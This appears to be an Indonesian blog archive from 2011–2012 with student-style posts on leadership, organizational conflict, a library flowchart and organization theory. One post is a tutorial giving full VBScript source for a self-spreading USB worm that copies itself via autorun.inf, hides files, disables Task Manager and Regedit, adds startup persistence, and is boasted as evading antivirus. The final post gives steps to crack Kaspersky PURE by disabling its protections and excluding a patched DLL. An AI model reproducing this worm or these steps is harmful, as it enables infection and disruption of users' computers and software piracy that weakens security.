Kamis, 12 Januari 2012

Kepemimpinan (Leadership)

0 komentar
  • Definisi Kepemimpinan
Dalam Suatu Organisasi,faktor kepemimpinan memegang peranan yang penting karenapemimpin itulah yang akan menggerakan dan mengarahkan organisasi dalam mencapai tujuan dan sekaligus merupakan tugas yang tidak mudah.Karena harus memahami setiap perilaku bawahan yang berbeda-beda,bawahan dipengaruhi sedemikian rupa sehingga bisa memberikan pengabdian dan partisipasinya kepada organisasi secara efektif dan efisien. Dengan kata lain dapat dikatakan bahwa sukses tidaknya usaha pencapain tujuan organisasi,ditentukan oleh kualitas pemimpin.Inti nya Kepemimpinan adalah memproses kegiatan seseorang untuk menggerakkan orang lain dengan memimpin,membimbing,mempengaruhi orang lain,untuk melakukan sesuatu agar dicapai hasil yang diharapkan.

  • Macam-Macam gaya kepemimpinan
  1. Gaya Persuasif Yaitu gaya memimpin dengan menggunakan pendekatan yang menggugah perasaan,pikiran atau dengan kata lain melakukan ajakan atau bujukan.
  2. Gaya Refresif Yaitu Gaya kepemimpinan dengan cara memberikan tekanan-tekanan,ancaman-ancaman,sehingga bawahan merasa ketakutan.
  3. Gaya Partisipatif Yaitu gaya kepemimpinan dengan cara memimpin memberikan kesempatan kepada bawahan untuk itu secara aktif baik mental,spiritual,fisik maupun material dalam kiprahnya di organisasi.
  4. Gaya Inovatif Yaitu gaya pemimpin yang selalu berusaha dengan keras untuk mewujudkan usaha-usaha pembaharuan didalam segala bidang,baik bidang politik,ekonomi,sosial,budaya atau setiap produk terkait dengan kebutuhan manusia.
  5. Gaya Investigatif Yaitu gaya pemimpin yang selalu melakukan penelitian yang disertai dengan rasa penuh kecurigaan terhadap bawahannya sehingga menimbulkan yang menyebabkan kreativitas,inovasi serta inisiatif dari bawahan kurang berkembang,karena bawahan takut melakukan kesalahan-kesalahan.
  6. Gaya Inspektif Yaitu pemimpin yang melakukan acara-acara yang sifatnya protokoler,kepemimpinan dengan gaya inspektif menuntut penghormatan bawahan,atau pemimpin yang senang apabila dihormati.
  7. Gaya Motivatif Yaitu pemimpin yang dapat menyampaikan informasi mengenai ide-idenya,program-program,dan kebijakan-kebijakannya kepada bawahan dengan baik.Komunikasi tersebut membuat segala ide,program dan kebijakan dapat dipahami oleh bawahan sehingga bawahan mau merealisasikan semua ide,program dari kebijakan yang ditetapkan oleh pemimpin.
  8. Gaya Naratif Yaitu pemimpin yang bergaya naratif merupakan pemimpin yang banyak bicara namun tidak disesuaikan dengan apa yang ia kerjakan,atau dengan kata lain pemimpin yang banyak bicara sedikit bekerja.
  9. Gaya Edukatif Yaitu pemimpin yang suka melakukan pengembangan bawahan dengan cara memberikan pendidikan dan keterampilan kepada bawahan,sehingga bawahan menjadi memiliki wawasan dan pengalaman yang lebih baik dari hari ke hari.Sehingga seorang pemimpin yang bergaya edukatif takkan pernah menghalangi bawahan yang ingin mengembangankan pendidikan dan keterampilan.
  10. Gaya Retrogresif Yaitu pemimpin tidak suka melihat maju,apalagi melebihi dirinya.Untuk itu pemimpin yang bergaya retrogresif selalu menghalangi bawahannya untuk mengembangkan pengetahuan dan keterampilan.Sehingga dengan kata lain pemimpin yang bergaya retrogresif sangat senang melihat bawahannya selalu terbelakang,bodoh,dan sebagainya.
  • Jika Anda pemimpin anda memilih gaya memimpin yang mana?
Kalo saya memilih gaya persuasif kenapa begitu ? karena dengan cara melakukan pendekatan kepada bawahan kita bisa membuat bawahan-bawahan nyaman dan menghilang kan tanggapan jika pemimpin nya orang yg suka memberi tekanan-tekanan,Sehingga antara pemimpin dan bawahan bisa lebih dekat seperti tidak ada batasan/pangkat yang membuat suasana menjadi lebih enak.

Sumber : Komunikasi Organisasi Lengkap .(Prof.DR.Khomsahrial Romli,M,SI)
Continue reading →
Sabtu, 03 Desember 2011

Ringkasan tentang konflik organisasi.

0 komentar
Definisi Konflik Organisasi

Banyak definisi tentang konflik yang diberikan oleh ahli manajemen. Hal ini tergantung pada sudut tinjauan yang digunakan dan persepsi para ahli tersebut tentang konflik dalam organisasi. Namun, di antara makna-makna yang berbeda itu nampak ada suatu kesepakatan, bahwa konflik dilatarbelakangi oleh adanya ketidakcocokan atau perbedaan dalam hal nilai, tujuan, status, dan budaya. Definisi di bawah ini menunjukkan perbedaan-perbedaan dimaksud.
Organisasi sebagai suatu sistem terdiri dari komponen-komponen (subsistem) yang saling berkaitan atau saling tergantung (interdependence) satu sama lain dan dalam proses kerjasama untuk mencapai tujuan tertentu (Kast dan Rosenzweigh, 1974). Sub-subsistem yang saling tergantung itu adalah tujuan dan nilai-nilai(goals and values subsystem), teknikal (technical subsystem), manajerial (managerial subsystem), psikososial (psychosocial subsystem), dan subsistem struktur (structural subsystem).
Dalam proses interaksi antara suatu subsistem dengan subsistem lainnya tidak ada jaminan akan selalu terjadi kesesuaian atau kecocokan antara individu pelaksananya. Setiap saat ketegangan dapat saja muncul, baik antar individu maupun antar kelompok dalam organisasi. Banyak faktor yang melatar – belakangi munculnya ketidakcocokan atau ketegangan, antara lain: sifat-sifat pribadi yang berbeda, perbedaan kepentingan, komunikasi yang “buruk”, perbedaan nilai, dan sebagainya. Perbedaan-perbedaan inilah yang akhirnya membawa organisasi ke dalam suasana konflik. Agar organisasi dapat tampil efektif, maka individu dan kelompok yang saling tergantung itu harus menciptakan hubungan kerja yang saling mendukung satu sama lain, menuju pencapaian tujuan organisasi.
Namun, sabagaimana dikatakan oleh Gibson, et al. (1997:437), selain dapat menciptakan kerjasama, hubungan saling tergantung dapat pula melahirkan konflik. Hal ini terjadi jika masing-masing komponen organisasi memiliki kepentingan atau tujuan sendiri-sendiri dan tidak saling bekerjasama satu sama lain. Konflik dapat menjadi masalah yang serius dalam setiap organisasi, tanpa peduli apapun bentuk dan tingkat kompleksitas organisasi tersebut. Konflik tersebut mungkin tidak membawa “kamatian” bagi organisasi, tetapi pasti dapat menurunkan kinerja organisasi yang bersangkutan, jika konflik tersebut dibiarkan berlarut-larut tanpa penyelesaian. Karena itu keahlian untuk mengelola konflik sangat diperlukan bagi setiap pimpinan atau manajer organisasi.
Terlepas dari faktor-faktor yang melatarbelakanginya, konflik merupakan suatu gejala dimana individu atau kelompok menunjukkan sikap atau perilaku “bermusuhan” terhadap individu atau kelompok lain, sehingga mempengaruhi kinerja dari salah satu atau semua pihak yang terlibat.
Keberadaan konflik dalam organisasi, menurut Robbin (1996), ditentukan oleh persepsi individu atau kelompok. Jika mereka tidak menyadari bahwa telah terjadi konflik di dalam organisasi, maka secara umum konflik tersebut dianggap tidak ada. Sebaliknya, jika mereka mempersepsikan bahwa di dalam organisasi telah terjadi konflik, maka konflik tersebut menjadi suatu kenyataan.
Perbedaan Pandangan Tradisional & Interaksi mengenai Konflik
• Pandangan Tradisional : Pandangan ini menyatakan bahwa konflik itu hal yang buruk, sesuatu yang negatif, merugikan, dan harus dihindari. Konflik disinonimkan dengan istilah violence, destruction, dan irrationality. Konflik ini merupakan suatu hasil disfungsional akibat komunikasi yang buruk, kurang kepercayaan, keterbukaan di antara orang – orang, dan kegagalaan manajer untuk tanggap terhadap kebutuhan dan aspirasi karyawan.
• Pandangan Interaksi : Pandangan ini cenderung mendorong suatu kelompok atau organisasi terjadinya konflik. Hal ini disebabkan suatu organisasi yang kooperatif, tenang, damai, dan serasi cenderung menjadi statis, apatis, tidak aspiratif, dan tidak inovatif. Oleh karena itu, menurut pandangan ini, konflik perlu dipertahankan pada tingkat minimum secara berkelanjutan sehingga tiap anggota di dalam kelompok tersebut tetap semangat, kritis – diri, dan kreatif.


Sumber-sumber penyebab konflik
Perbedaan individu, yang meliputi perbedaan pendirian dan perasaan.

Setiap manusia adalah individu yang unik. Artinya, setiap orang memiliki pendirian dan perasaan yang berbeda-beda satu dengan lainnya. Perbedaan pendirian dan perasaan akan sesuatu hal atau lingkungan yang nyata ini dapat menjadi faktor penyebab konflik sosial, sebab dalam menjalani hubungan sosial, seseorang tidak selalu sejalan dengan kelompoknya. Misalnya, ketika berlangsung pentas musik di lingkungan pemukiman, tentu perasaan setiap warganya akan berbeda-beda. Ada yang merasa terganggu karena berisik, tetapi ada pula yang merasa terhibur.
Perbedaan latar belakang kebudayaan sehingga membentuk pribadi-pribadi yang berbeda.

Seseorang sedikit banyak akan terpengaruh dengan pola-pola pemikiran dan pendirian kelompoknya. Pemikiran dan pendirian yang berbeda itu pada akhirnya akan menghasilkan perbedaan individu yang dapat memicu konflik.
Perbedaan kepentingan antara individu atau kelompok.

Manusia memiliki perasaan, pendirian maupun latar belakang kebudayaan yang berbeda. Oleh sebab itu, dalam waktu yang bersamaan, masing-masing orang atau kelompok memiliki kepentingan yang berbeda-beda. Kadang-kadang orang dapat melakukan hal yang sama, tetapi untuk tujuan yang berbeda-beda. Sebagai contoh, misalnya perbedaan kepentingan dalam hal pemanfaatan hutan. Para tokoh masyarakat menanggap hutan sebagai kekayaan budaya yang menjadi bagian dari kebudayaan mereka sehingga harus dijaga dan tidak boleh ditebang. Para petani menbang pohon-pohon karena dianggap sebagai penghalang bagi mereka untuk membuat kebun atau ladang. Bagi para pengusaha kayu, pohon-pohon ditebang dan kemudian kayunya diekspor guna mendapatkan uang dan membuka pekerjaan. Sedangkan bagi pecinta lingkungan, hutan adalah bagian dari lingkungan sehingga harus dilestarikan. Di sini jelas terlihat ada perbedaan kepentingan antara satu kelompok dengan kelompok lainnya sehingga akan mendatangkan konflik sosial di masyarakat. Konflik akibat perbedaan kepentingan ini dapat pula menyangkut bidang politik, ekonomi, sosial, dan budaya. Begitu pula dapat terjadi antar kelompok atau antara kelompok dengan individu, misalnya konflik antara kelompok buruh dengan pengusaha yang terjadi karena perbedaan kepentingan di antara keduanya. Para buruh menginginkan upah yang memadai, sedangkan pengusaha menginginkan pendapatan yang besar untuk dinikmati sendiri dan memperbesar bidang serta volume usaha mereka.
Perubahan-perubahan nilai yang cepat dan mendadak dalam masyarakat.

Perubahan adalah sesuatu yang lazim dan wajar terjadi, tetapi jika perubahan itu berlangsung cepat atau bahkan mendadak, perubahan tersebut dapat memicu terjadinya konflik sosial. Misalnya, pada masyarakat pedesaan yang mengalami proses industrialisasi yang mendadak akan memunculkan konflik sosial sebab nilai-nilai lama pada masyarakat tradisional yang biasanya bercorak pertanian secara cepat berubah menjadi nilai-nilai masyarakat industri. Nilai-nilai yang berubah itu seperti nilai kegotongroyongan berganti menjadi nilai kontrak kerja dengan upah yang disesuaikan menurut jenis pekerjaannya. Hubungan kekerabatan bergeser menjadi hubungan struktural yang disusun dalam organisasi formal perusahaan. Nilai-nilai kebersamaan berubah menjadi individualis dan nilai-nilai tentang pemanfaatan waktu yang cenderung tidak ketat berubah menjadi pembagian waktu yang tegas seperti jadwal kerja dan istirahat dalam dunia industri. Perubahan-perubahan ini, jika terjadi seara cepat atau mendadak, akan membuat kegoncangan proses-proses sosial di masyarakat, bahkan akan terjadi upaya penolakan terhadap semua bentuk perubahan karena dianggap mengacaukan tatanan kehiodupan masyarakat yang telah ada.

Teknik-Teknik Utama Menyelesaikan Konflik

1. Merekonsiliasi Berbagai Kepentingan.

Merekonsiliasi berbagai berbagai kepentingan tidaklah mudah. Ia membutuhkan perhatian yang tinggi, merencanakan solusi yang kreatif, dan membuat konsesi di mana berbagai kepentingan dipertentangkan. Prosuder paling umum melakukan ini adalah “negoisasi”, tindakan komunikasi (baik komunikasi ke belakang atau ke depan) yang dimaksudkan untuk mencapai kesepakatan. Prosedur berbasis kepentingan lainnya adalah “mediasi”, yang mana pihak ketiga membantu pihak-pihak yang bertikai mencapai kesepakatan. Tiada arti melakukan negoisasi atau mediasi tanpa memfokuskan pada rekonsiliasi berbagai kepentingan. Beberapa negoisasi hanya fokus pada mementukan yang benar, seperti ketika dua pengacara berargumen tentang siapa yang memiliki kasus yang memberikan kebaikan/jasa lebih banyak. Negoisasi lainnya yang fokus menentukan siapa yang lebih berkuasa/kuat, seperti ketika perselisihan bangsa yang saling memberikan ancaman. Sering pula negoisasi melibatkan ketiganya – beberapa berusaha untuk memuaskan berbagai kepentingan, beberapa memperbincangkan kebenaran, dan beberapa menununjuk pada kekuatan.
Negoisasi yang fokus utamnya pada berbagai kepentingan disebut negoisasi “berbasis kepentingan”, berbeda dengan negoisasi “berbasis kebenaran” dan negoisasi “berbasis kekuatan/kekuasaan”. Negoisasi berbasis kepentingan kerap pula disebut sebagai negoisasi memecahkan masalah. Hak ini dikarenakan ia melibatkat perlakuan konflik sebagai masalah yang harus diselesaikan oleh pihak-pihak yang bertikai secara sama-sama menguntungkan. Sebelum para disputan dapat memulai proses rekonsiliasi berbagai kepentingan secara efektif, mereka butuh melepaskan emosi mereka. Emosi dapat melahirkan konflik, sebaliknya konflik kerap melahirkan emosi. Mengekspresikan penekanan emosi dapat menjadi intrumen dalam menegoisasikan sebuah resolusi. Teutama pada konflik antar pribadi, permusuhan dapat dikurangi secara signifikan jika pihak-pihak yang dirugikan melepas kemarahan, kebencian dan frustasi mereka di depan pihak yang salah, dan pihak yang salah mengakui kebenaran atau menawarkan sebuah apologi. Dengan mereduksi permusuhan, memecahkan masalah berbasis kepentingan menjadi lebih mudah. Ekspresi emosi memiliki tempat yang istimewa dalam berbagai macam negoisasi dan mediasi berbasis kepentingan.

2. Menentukan Siapa yang Benar

Cara lain menyelesaikan konflik adalah mendasarkan pada standar independen dengan melihat legitimasi atau hukum untuk menentukan siapa yang benar. Term yang dipakai adalah kebenaran. Akan tetapi masalah hukum jarang clear. Ada perbedaan bahkan kadang-kadang kontradiksi ketika standar hukum diterapkan. Mencapai kesepakatan dengan standar hukum di mana hasilnya akan menentukan siapa mendapatkan apa, akan menjadi sangat sulit.
Dalam konteks ini, pihak ketiga yang menentukan siapa yang benar. Prototipe hukum tersebut adalah ajudikasi (keputusan pengadilan), yang mana pihak yang bertikai harus menghadirkan bukti dan argumen kepada pihak ketiga yang netral yang memiliki kekuasaan menangani dan menngikat keputusan (Dalam mediasi, pihak ketiga tidak memiliki kewenangan memutuskan konflik). Adjukasi publik ditentukan oleh pengadilan dan lembaga administrative. Ajudikasi pribadi ditentukan oleh arbitrator.

3. Menentukan siapa yang lebih berkuasa

Menentukan siapa pihak yang kuat/berkuasa tanpa kontes kekuasaan desisif dan secara potensial destruktif adalah sulit. Ini lantaran kekuasaaan merupakan masalah persepsi. Kendatipun ada sejumlah indikator kekuasaan seperti sumber daya keuangan, persepsi pihak-pihak yang bertikai dan kekuasaan masing-masing kerap tidak tepat. Bahkan, sudut persepsi kekuasaan satu dengan yang lain dapat jatuh ke dalam perhitungan kemungkinan di mana yang lain akan menginvestigasi berbagai sumber secara lebih besar dalam kontes tersebut ketimbang merasa takut bahwa sebuah perubahan dalam distribusi kekuasaan yang dirasakan akan mempengaruhi hasil dari konflik yang akan datang.

sumber :KSR – PMI UNY 2007
http://id.wikipedia.org/wiki/Konflik

Continue reading →
Kamis, 20 Oktober 2011

CONTOH FLOWCHART PROCEDURE PEMINJAMAN BUKU DI PERPUSTAKAAN

1 komentar
Pertama-tama mahasiswa datang ke perpustakaan untuk meminjam buku. Kemudian mahasiswa mencari buku yang ingin dipinjam, mahasiswa pun mengambil dan membawa buku tersebut ke petugas administrasi, kemudian mahasiswa menunjukkan kartu kemahasiswaannya. Jika syarat terpenuhi, mahasiswa dapat menandatangani kartu (peminjaman) buku tersebut dan buku dapat diserahkan kepada mahasiswa tersebut. Namun jika persyaratan tidak dipenuhi (misal tidak membawa kartu kemahasiswaan), maka mahasiswa tersebut tidak diperbolehkan meminjam buku.


Untuk memudahkan narasi tersebut, kita dapat meringkasnya dalam bentuk poin-poin sebagai berikut
:

mahasiswa membawa buku yang akan dipinjam ke petugas administrasi sambil menunjukkan kartu kemahasiswaan,

Jika segala persyaratan dipenuhi, maka mahasiswa dapat menandatangani kartu buku. Jika persyaratan tidak dipenuhi,maka mahasiswa tersebut tidak boleh meminjam buku di perpustakaan.

Semua ketentuan diatas dapat dikonversi dalam bentuk flowchart yang jauh lebih sederhana dan mudah dipa dipahami seperti contoh berikut:






Continue reading →
Kamis, 13 Oktober 2011

teori organisasi umum

0 komentar
Pengertian Organisasi

Organisasi (Yunani: ὄργανον, organon - alat) adalah suatu kelompok orang dalam suatu wadah unt tujuan bersama.
Dalam ilmu-ilmu sosial, organisasi dipelajari oleh periset dari berbagai bidang ilmu, terutama sosiologi, ekonomi, ilmu politik, psikologi, dan manajemen.[1] Kajian mengenai organisasi sering disebut studi organisasi (organizational studies), perilaku organisasi (organizational behaviour), atau analisa organisasi (organization analysis).

Ciri-ciri dari organisasi
- Adanya komponen ( atasan dan bawahan)
- Adanya kerja sama (cooperative yang berstruktur dari sekelompok orang)
- Adanya tujuan
- Adanya sasaran
- Adanya keterikatan format dan tata tertib yang harus ditaati
- Adanya pendelegasian wewenang dan koordinasi tugas-tugas

Menyangkut hal itu pengertian organisasi juga merupakan sekumpulan orang-orang yang disusun dalam kelompok-kelompok, yang bekerjasama untuk mencapai tujuan bersama, Organisasi adalah system kerjasama antara dua orang atau lebih, atau organisasi adalah setiap bentuk kerjasama untuk pencapaian tujuan bersama, organisasi adalah struktur pembagian kerja dan struktur tata hubungan kerja antara sekelompok orang pemegang posisi yang bekerjasama secara tertentu untuk bersama-sama mencapai tujuan tertentu.

Teori-Teori Organisasi

1. Teori klasik
Teori klasik organisasi Teori klasik organisasi berkembang pada akhir abad sembilan belas dan awal abad dua puluh kemudian secara umum mulai diakui oleh para ahli organisasi sebagai standar awal untuk menganalisa dan mengarahkan kegiatan organisasi. Teori klasik menekankan pentingnya struktur organisasi dan kontrol administrasi pada kinerja organisasi. Dampak dari teori klasik organisasi telah tersebar luas. Setiap perusahaan besar yang memiliki hirarki administrasi dan sistem aturan formal mengandalkan pada tersebut
2. Teori Hubungan Manusia
Teori Hubungan Manusia Dalam Organisasi Manusia adalah makhluk social, artinya manusia hanya akan menjadi apa dan siapa bergantung ia bergaul dengan siapa. Manusia tidak bisa hidup sendirian, sebab jika hanya sendirian ia tidak "menjadi"manusia. Dalam pergaulan hidup, manusia menduduki fungsi yangbermacam-macam. Di satu sisi ia menjadi anak buah, tetapi di sisi lain ia adalah pemimpin. Di satu sisi ia adalah ayah atau ibu, tetapi di sisi lain ia adalah anak. Di satu sisi ia adalah kakak, tetapi di sisi lain ia adalah adik. Demikian juga dalam posisi gurudan murid, kawan dan lawan, buruh dan majikan, besar dan kecil, mantu dan mertua dan seterusnya. . hubungan antar manusia interpersonal), ada pemimpin yang sangat dipatuhi dan dihormati rakyatnya, ada juga yang hanya ditakuti bukan dihormati, begitupun guru atau orang tua, ada yang dipatuhi dan dihormati , ada juga orang tua dan guru yang tidak dipatuhi dan tidak pula dihormati.
3. Teori Sistem Sosial
Teori Sistem Sosial Dalam Organisasi Pendekatan ketiga dalam menganalisis organisasi adalah dengan menerapkan konsep sistem. Teori sistem sudah populer sejak beberapa dasawarsa yang lalu karena kemampuannya dalam menyuguhkan suatu model sistem universal yang mencakup berbagai bidang kehidupan: fisik, biologis, sosial, dan fenomena tingkah laku manusia. Para teoritisi mencoba menemukan generalisasi-generalisasi yang membantu dalam menjelaskan bagaimana berfungsinya segenap kesatuan dan proses.
4. Teori Politik Teori Politik Dalam Organisasi Mengkaji tentang sejarah ilmu politik bisa dilihat dari dua pandangan yaitu pembahasan secara luas atau secara sempit. Secara luas berarti ilmu politik telah ada sejak zaman dahulu berupa pembahasan dalam buku-buku tertentu yang telah dikarang masa lampau, sedangkan secara sempit berarti ilmu politik dilihat dari aspek sistematisasinya sebagai ilmu dan pengakuannya dari aspek akademis.

KESIMPULAN

Perkembangan teori-teori organisasi dapat dilihat dan dikaji sejak sejak tahun-tahun pertama abad keduapuluh, yang secara garis besar dapat diikhtisarkan menjadi 4 (empat) kelompok besar yakni: (1)classi c; (2)behavioral, (3)sy st em, dan (4)contingen cy.

Sumber : 1. http://id.wikipedia.org/wiki/Organisasi
2. http://id.shvoong.com/social-sciences/education/1931283-ciri-ciri-organisasi/
3. http://www.scribd.com/doc/43573712/Teori-organisasi
Continue reading →
Sabtu, 30 Juli 2011

membuat virus dengan menggunakan notepad

0 komentar

Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama "YouDieCbrXplr.VBS". Sekarang buka Notepad-nya. Copy kode berikut :

'//-Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus-//
on error resume next
'//-Dim kata-kata berikut ini-//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,YouDieCbrXplr,nt,check,sd
'//-Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information-//
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe YouDieXplr.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
'//-Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & "\batch- YouDieXplr.dll.vbs ")
tf.attributes = 32
set tf=fs.createtextfile(windowpath & "\batch- YouDieXplr.dll.vbs",2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & "\batch- YouDieXplr.dll.vbs ")
tf.attributes = 39
'//-Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok-//
'Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
'//-Cek Drive-//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
'//-Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\-//
set tf=fs.getfile(flashdrive.path &"\YouDieXplr.dll.vbs ")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\YouDieXplr.dll.vbs ",2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &"\YouDieXplr.dll.vbs ")
tf.attributes = 39
'//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)-//
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
'//-Manipulasi Registry-//
set YouDieCbrXplr = createobject("WScript.Shell")
'//-Manip - Ubah Title Internet Explorer menjadi THE YOUDIECBRXPLR v.s. ZAY-//
YouDieCbrXplr.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title"," THE YOUDIECBRXPLR v.s. ZAY "
'//-Manip - Set agar file hidden tidak ditampilkan di Explorer-//
YouDieCbrXplr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden", "0″, "REG_DWORD"
'//-Manip - Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager-//
YouDieCbrXplr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1″, "REG_DWORD"
YouDieCbrXplr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1″, "REG_DWORD"
YouDieCbrXplr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1″, "REG_DWORD"
YouDieCbrXplr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1″, "REG_DWORD"
YouDieCbrXplr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1″, "REG_DWORD"
'//-Manip - Disable klik kanan-//
YouDieCbrXplr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1″, "REG_DWORD"
'//-Manip - Munculkan Pesan Setiap Windows Startup-//
YouDieCbrXplr.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Worm YouDieCbrXplr. Variant from Rangga-Zay, don't panic all data are safe."
'//-Manip - Aktif setiap Windows Startup-//
YouDieCbrXplr.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir", windowpath & "\batch- YouDieXplr.dll.vbs "

//-Manip - Ubah RegisteredOwner dan Organization-//
YouDieCbrXplr.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "The Batrix"
YouDieCbrXplr.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","YouDieCbrXplr"

'//-Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan-//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
'Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih "All Files (*.*). Simpan dengan nama : YouDieXplr.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
He..he...Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay kemudian saya kembangkan. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.

Continue reading →
Sabtu, 02 Juli 2011

Kaspersky Pure v9.1.0.124 Full version Crack + Key 2036 Days

0 komentar

pada kesempatan kali ini saya ingin memberikan sedikit pembahasan tentang kaspersky Pure yang memberikan anda lebih dari sekedar perangkat lunak antivirus. Ini semua yang anda butuhkan untuk melindungi semua aset yang paling penting dalam kehidupan digital Anda: komputer Anda, account online Anda, dan data Anda yang paling berharga. Ini memberi Anda ketenangan pikiran dalam kehidupan digital Anda secara aman, PC Anda akan selalu dalam kondisi prima, informasi Anda yang paling berharga selalu dilindungi dari ancaman hacker. Kaspersky pure memerangi virus, malware, spyware, dan spam.

  • Free Download Kaspersky Pure Trial
  • Free Download Kaspersky Pure Crack
  • PERHATIAN!
    Untuk cara downloadnya Anda akan diarahkan ke adf.ly kemudian tunggu 5 detik dan cari tombol SKIP AD yang berada di sebelah kanan atas monitor anda.

    Cara Aktivasi Kaspersky Pure Menjadi Full Version

    01]. Jalankan Kaspersky PURE (installer)
    02]. Ikuti semua petunjuk penginstalan sesuaikan saja dengan defaultnya untuk penggunaan standar
    03]. Setelah menginstal, update sampai selesai dengan menggunakan masa trial 30 hari
    04]. Jika telah selesai update, buka K-PURE Pilih >> Settings >> Self-Defense >> Disable Self-Defense (hilangkan tanda centang) >> Apply dan OK.
    05]. Pilih “My Computer Protection” >> Pilih Settings >> Protection >> Disable Protection (hilangkan tanda centang) >> Apply dan OK
    06]. Restart komputer Anda
    07]. Buka K-PURE >> license manager (klik pada License terletak di kanan bagian bawah) Pada form baru akan keluar serial key masa aktif trial seperti CONTOH berikut “0123-0123MGM-XXXXXXXX”
    08]. Hapus key trial License tersebut dengan mengklik tombol warna merah bertanda “X” di samping key tersebut
    09]. Apabila ada peringatan penghapusan, pilih YES
    10]. Exit dari Kaspersky kemudian klik kanan pada ikon kaspersky yang terletak pada system tray juga.
    11]. Buka Activation Pure yang telah anda download (ektrak dengan winrar atau ultraISO)
    12]. Copy file “fltlib.dll” and “fltlib.ini” kemudian pindahkan pada direktori C:Program FilesKaspersky LabKaspersky PURE
    13]. Disable koneksi internet (buka RUN >> ncpa.cpl >> pilih Network >> klik kanan >> Disable)
    14. Buka K-PURE >> Klik pada License >> Activate commercial License >> masukkan 11111-11111-11111-1111X, kemudian klik “Next”. selanjutnya akan ada peringatan “It will be unable to connect to the Activation servers”. Klik “Browse” dan buka PURE.key kllik “Next”, kemudian “Finish”.
    15]. SELESAI dan Kaspersky PURE Anda sudah aktif sampai 2036 hari.

    Namun masih ada yang harus di setting seperti berikut:
    16]. Buka Kaspersky PURE >> klik pada “My computer Protection” >>
    Settings >> Threads and exclusions >> Exclisions >> Settings >> Exclusion Rules >> klik “ADD ” >> Pilih select object
    17]. Kemudian masukkan link file berikut
    C:Program FilesKaspersky LabKaspersky PUREfltlib.dll
    dan masukkan juga file berikut
    C:Program FilesKaspersky LabKaspersky PUREfltlib.ini
    Gunakan tombol browse untuk mencarinya
    18]. Klik OK untuk menambahkan kedua file patch tersebut ke exclusion list, klik Apply dan Ok pada Settings window
    19]. Jalankan kembali koneksi internetnya dan Enable Self-Defense juga Protection pada settings. lihat langkah 13 dan 04

    20]. Selesai

    http://mastergomaster.com
    Continue reading →